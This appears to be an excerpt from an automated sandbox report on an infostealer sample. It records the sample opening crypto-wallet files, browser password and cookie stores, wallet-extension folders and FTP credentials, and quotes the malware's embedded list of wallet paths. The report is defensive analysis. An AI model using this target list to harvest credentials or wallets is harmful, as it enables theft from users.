Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2580293430.00000000008A8000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: MultiDoge
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000003.1786821317.000000000175D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum-LTC\wallets\\.
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
